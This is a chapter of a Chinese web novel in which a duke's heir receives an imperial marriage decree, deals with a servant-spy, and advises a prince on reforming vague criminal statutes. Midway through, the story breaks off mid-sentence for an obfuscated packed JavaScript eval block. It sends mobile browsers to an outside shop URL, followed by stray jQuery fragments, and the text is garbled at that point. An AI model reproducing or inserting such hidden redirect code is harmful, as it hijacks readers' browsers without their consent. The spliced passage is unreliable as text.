圣旨是第三日清早到的。
沈国公与夫人匆匆赶到前厅时,沈惟已跪在了蒲团上。宣旨的内侍展开明黄卷轴,念了一长串辞藻华美的骈文,大意无非是嘉宁公主淑慎端良、沈世子品貌兼优,天作之合,择吉日完婚,着礼部协办云云。
沈老国公叩首谢恩,高兴得合不拢嘴。沈夫人也恭谨地接了旨,却悄悄看了儿子一眼。沈惟的嘴角挂着得体的笑容,不像欢喜,倒更像是在想什么别的事情。
待内侍领了赏银离去,沈老国公便忙着吩咐下人备礼回谢、张罗府中事宜,整个国公府像被投入了一颗石子的湖面,涟漪一圈一圈地荡开来。沈惟却像那个扔了石子的人,自己反倒退到岸边,远远瞧着热闹。
他回到院子时,长来正拄着拐杖站在廊下等他。腿脚还没大好,但已丢了一根木杖,换成单拐。见沈惟回来,他眼睛一亮:“世子!圣旨说了什么?是要娶公主吗?殿下说若是圣旨来了让我立刻告诉他,我能不能去……”
“你给我老实待着。”沈惟从他身边经过,头也不回地丢下一句,“腿还没好利索就想往外跑?”
长来瘪了瘪嘴,一瘸一拐地跟在他身后挪进屋里,嘴里嘟嘟囔囔:“那殿下问起来我怎么说……”萧琰这是在他身边放了个眼线,还是光明正大毫不遮掩的眼线。
沈惟坐到书案后,拿起一本没抄完的诗集,随口道:“你就说我接了旨,表情悲伤愤恨,一个人在书房里摔了杯子。”
长来愣住:“可是世子并没有……”
“他问的是我,你照我说的答就行了。”沈惟笔尖一顿,又补了一句:“说我伤心得连午膳都没用。”
长来想了想,便点点头,又往沈惟身边挪了挪,在角落里找了个小杌子坐下。沈惟瞥了他一眼:“你坐这儿干嘛?”
“殿下说了,只要有外人来,我就得待在世子身边盯着,不让别人靠太近。”
沈惟握着笔的手一顿,转过头来,神色微妙:“他原话是什么?”
“殿下说……”长来认真回忆了一下,学着萧琰的样子威严起来,粗声粗气道:“别让那些乱七八糟的人往他跟前凑,看见一个记一个,回头报给我。”
沈惟沉默了片刻,提笔继续抄诗:“那罗琩呢?”
“罗琩哥不算外人。”长来答得理所当然。
沈惟轻哼一声,不再说话。
罗琩起初对长来的出现颇有微词。头一日长来被沈惟带回府时,罗琩站在院门口,眉头皱得死紧。
等沈惟进了屋,他追在后面低声道:“世子,这人来路不明,当街碰瓷,您怎么能说带回来就带回来?若是旁人别有用心……”
“他确实别有用心。”沈惟打断他,语气轻描淡写,“但这用心的底细我都知道。”
罗琩还想再劝,沈惟已摆摆手:“让他留下吧,先在外院养伤,等腿好了再说。”说完便关上了书房的门。
罗琩站在门外,看了看紧闭的门板,又看了看廊下正笨手笨脚用拐杖拨弄花盆里土的长来,长长叹了口气。
然而长来真正让罗琩刮目相看,是在第四日。
事情起于新湖。
那日清早,沈夫人身边的大丫鬟急匆匆来报,说湖东池子里有一只鸭子不明不白地死了,翻着白肚皮浮在水面上,其余鸭子也都蔫头耷脑、不肯进食。
沈夫人一听便紧张起来,当即吩咐:“莫不是闹了瘟疫?赶紧把剩下的都捉出来处理了,别传染到别处去!”
消息传到沈惟耳朵里时,他正在前厅陪母亲用茶。闻言他皱了皱眉:“母亲别急,先看看是怎么回事再说。”
沈夫人忧心忡忡:“如今京城正闹春瘟,虽是鸡鸭禽类,可也马虎不得。我听说有些瘟病从畜生传人的……”
沈惟正要开口,却听门外传来一个怯生生的声音:“世子……能让奴才去看看吗?”
他回头一看,长来正拄着单拐站在厅门外的台阶下,大概是听到消息自己赶过来的,额头还跑出了一层薄汗。
沈夫人看向那瘸腿少年,目光犹疑:“这孩子是……”
“我前两日收的小厮。”沈惟简短道,又对长来扬了扬下巴,“你会看鸭子?”
长来点点头,眼睛里难得透出几分笃定:“奴才小时候在村里养过几年鸭,家禽的病见过不少。”
沈惟便带着他去了栖月湖。长来拄着拐杖蹲在池边,费力地弯腰捞起那只死鸭,翻来覆去仔细看了一遍,又凑近闻了闻,还掰开鸭喙瞧了瞧,才松了口气。
他回头对沈惟说:“世子,不是瘟疫。是食积,吃得太多了,又不活动,肠胃撑坏了。剩下的那些,只要停食一日,喂些清水,再把池子里的淤泥清一清就没事了。”
他怕沈夫人不放心,又补了一句:“这鸭子看着蔫,其实是撑得难受,缓两天就好了。”
沈夫人将信将疑,沈惟却看了长来一眼,目光里浮起一丝意外:“你当真懂这个?”
长来不好意思地挠了挠头:“村里人都知道,鸭子和人一样,不能可劲儿喂。”
沈惟吩咐下去,停食清池。到第二日清晨,池中鸭子果然重新扑腾起翅膀来,嘎嘎叫着浮水觅食,精神抖擞。
原来长来小时候家中是养鸡鸭禽类的。只是他爹好吃懒做,不善经营,日子越过越穷。每日他爹在床上醒酒,都是小长来去喂鸡养鸭,硕果仅存的几只在他的照顾下,日渐长大,小长来却被亲爹卖掉换了米钱。
难怪他择菜时总是下意识摘掉新鲜叶子。日子过得贫苦,好叶子都是给鸭子吃的。废物小厮在栖月湖边,倒是找到了自己的用武之地。
长来还有一桩事做得颇为自鸣得意。
那日沈惟从曲水街回来之后,连着几天洗浴,总觉着浴桶里飘出的气味不大一样。原先国公府惯用的澡豆是桂花调的,清甜温润,是沈夫人特意寻了京城老铺子定制的方子。
可这几日桶中水汽蒸腾起来时,萦绕在鼻尖的却换了一股沉沉的味道。檀木打底,混着一点松脂的苦,还有极淡的雪后青竹被折断时渗出汁液的清冽。
像是有人把一座深山老林里的清晨,碾碎了泡进水里。
沈惟靠在浴桶边沿,热水没过肩膀,水汽氤氲得视线都有些模糊。他低头拨了拨水面,指尖带起几片细碎的花瓣。原先的桂花早已没了踪影,取而代之的是深褐色的药草碎末和几枚不知名的干枯果实,在水底沉浮。
那日在马车里,萧琰将他圈在手臂和车壁之间,俯首嗅他头发时“啧”了一声,沈惟当时只觉得莫名其妙,如今想来,那时萧琰大概便已动了这个心思。
他肩膀埋在热水里,水汽氤氲之下,眼角鼻尖一片红润,今日沐浴格外得久,直到那股冷冽的草木香钻进发丝间,又渗进皮肤里。出浴后他站在铜镜前擦着湿发,低头闻了闻自己的手腕。
檀木的沉厚压着松脂的微苦,尾调里竟还浮动着一丝若有若无的甘甜,像深冬夜里劈开的一截柴薪,火星溅出来时,炸开的那一点暖。
小长来以为自己这事做的隐秘,世子没有察觉。殊不知沈惟不动声色地想象着信王下次闻他头发时的神情,忍不住轻轻弯了弯嘴角,又很快抿平。
没了装病的由头,沈惟便顺理成章地“大病初愈”了。这些日子,沈夫人日日亲自盯着厨房熬制补汤,灌得他觉得自己浑身上下都泛着一股黄芪当归的味道,沈夫人才终于松口放他出门。
礼王的书房在王府东侧,是一处僻静院落,推门进去时,萧焕正坐在书案后,面前铺了满桌的卷宗和朱笔,眉头微蹙,手里捏着一卷竹简,整个人像是被浸在纸墨堆里。
听见脚步声他抬起头来,眉心纹路松了松,朝沈惟招手:“沈惟来了,正好,你过来帮我看看这个。”
沈惟走近书案,低头一看,满桌摊开的都是《晟朝刑统》的抄本,旁边还堆着刑部送来的各地判例摘要。
萧焕拿笔点了点其中一处条目:“这里写的是‘盗贼伤人者,依轻重论罪’。可刑部三年来判下的案子里,同样是盗贼伤人致残,有的判流放三千里,有的判徒刑八年,甚至还有两起只罚了银钱便结案的。”
他忧虑地长叹一口气,两指揉捏着眉心:“仅是一项罪责,便有如此天壤之别的结果。案件中百姓的生死,全在这没有‘轻重’的‘轻重’两字里。”
“王爷,”沈惟斟酌着开口:“晟朝律法承袭前朝已百余年,彼时地广人稀、民风淳朴,条文粗疏尚可应付。可如今晟朝子民数目庞大,领域辽阔,修撰能够适应万民、应变自如的律法并非易事,您切莫过于伤神。”
萧焕摇摇头,抬眼看向站在书案边的沈惟,说道:“律法不正,万民受苦。这些年各地都不断有冤案申诉,各地官员对旧律的执行也全凭个人判断。一想到此事,本王寝食难安。”
沈惟的目光越过案上堆积
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679463|202819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如山的卷宗,瞧见笔筒里秃了头几支朱笔,还有案角早已凉透的茶盏。
他心中不由微微触动:三皇子萧焕不只是争权,他是真心觉得这律法该改,百姓该有公道可讲。
晟朝律法承袭前朝,已有百余年未修订。条款繁复重叠,各地官员解释不一,冤假错案层出不穷。刑部尚书三次上书,晟璟帝终于下旨重修律法。
但此事被视为“朝廷最难的差事”,谁也不愿接,偏三皇子礼王主动请命。
沈惟想了想,说道:“各地民情不同,同样的律文,放在扬州与放在西北,执行起来便大有不同。”
“但以这条‘依轻重论罪’为例,若只留‘依轻重’三个字,便是将裁量权全数下放给地方官员。这样的定罪结果,更多的是官员自身性格和判断,而非全然的法理公正。”
礼王看向他的目光多了几分赞赏:“还是你明白本王的心思。官员清廉正直的,尚且能凭良心断案;若遇上昏聩贪腐的,这条律法便成了他敛财害命的凭据。只是本王左思右想,都不知如何修改更为合适。”
沈惟沉吟片刻,不由想起现代体系完整的法律规定,他在心中打着腹稿,将那些条款换成更适合当下语境的言语,这才开口说道:
“殿下,或许可将‘轻重’二字细拆,具体写明何为‘轻’,又何为‘重’。”
“哦?”三皇子来了兴趣,将手中的笔放在一旁,“你细细说来。”
沈惟:“第一,论伤情之轻重,可分成三等,以医官验伤的结果为准;第二,论动机之善恶,是蓄谋已久还是临时起意,是图财还是仇杀;第三,论事后之态度,是否主动投案,是否赔偿苦主,是否悔过。”
他顿了顿,见萧焕听得入神,便继续道:“三者综合权衡,定出相应的刑罚区间——比如致残者流放两千里至三千里,视上面三条增减;致死者斩监候至秋后处决,依情节轻重而定。”
“这样地方官便有了可循的准绳,也留了裁量的余地,既不会太死板,也不会太随意。”
萧焕的眼睛一点一点亮起来,提笔飞快地将他说的三条记在纸上,又搁下笔,仰头望着沈惟,目光里掺杂着不加掩饰的欣赏:
“我翻了三日卷宗,只觉得处处都是问题,却不知该从何下手。你一来,便把它理出了头绪。”
沈惟笑了笑,略略偏开目光:“不过是旁观者清罢了。王爷身在其中,看得太细反倒失了全局。我只把大框子搭出来,里面要填多少东西,还得王爷和刑部的各位大人慢慢琢磨。”
萧焕将那张纸小心地压平在案角,随口说道:“沈惟,你这一席话,抵得上刑部大人们琢磨个三天。”
沈惟被他夸得有些不自在,微笑着垂下眼帘端起茶盏。君臣二人又就此事细商半响,忽听小厮通报,却是宋绶安同赵景逸也来了府上。
二人进了书房,瞧见礼王和沈惟气氛其乐融融,宋绶安挖苦人的本性又冒了出来,不由酸道:“沈世子终于病好了,连带着殿下脸上笑容也多了。”
赵景逸在一旁“嘶”了一声,用胳膊肘怼了怼宋绶安,微笑着化解:“瞧着是殿下头疼的那条律法有了进展?这些日子我们都为之忧心,却帮不上忙,沈世子一来就有了想法。”
萧焕刚解决了一大难题,正心中畅快,闻言笑道:“正好沈惟在,帮了我大忙。他虽因故未能进学,可其心思机敏,思虑缜密,却真是少有人及。”
宋绶安不服气道:“前几日我也为殿下办了桩大事,您怎得也没这样夸奖我呢?”
经他提醒,沈惟一下子便想到了垂柳巷里的辞枝。说话间,宋绶安也坐在沈惟身旁的圈椅上,把折扇往桌上一搁,眉飞色舞:
“那日我带人冲进去的时候,还真怕扑了个空。谁知那辞枝就在自己屋里坐着,眼睛肿得像核桃,里头还揣着厚厚一沓银票。我问他哪来的,他先是哭,后来便什么也不说了。”
萧焕闻言微微皱眉:“人现在何处?”
“还关着呢。”宋绶安道,“殿下您真是心慈,瞧着昭皇后的面子上,回回都替康王擦屁股。他自己弄丢了赈灾银两,却是您费心调查,又找钱又善后。”
他顿了顿,随手从赵景逸碟子里拈了颗花生扔进嘴里,含糊道:“如今偷银子的男倌也畏罪自尽了,事后康王更不认账了。”
辞枝死了?
他说得轻巧,沈惟脑中却“嗡”地一声炸开了。